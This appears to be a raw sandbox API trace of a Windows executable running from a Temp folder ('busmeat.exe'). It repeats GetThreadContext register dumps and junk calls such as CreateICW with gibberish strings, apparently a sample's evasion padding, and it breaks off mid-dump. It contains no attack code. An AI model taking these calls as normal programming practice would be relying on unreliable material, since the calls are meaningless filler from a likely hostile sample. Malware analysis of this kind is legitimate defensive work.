	[0066.235] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.235] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.235] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.235] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.235] GetConsoleCP () returned 0x0
	[0066.236] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.236] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.236] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.236] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.236] GetConsoleCP () returned 0x0
	[0066.236] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 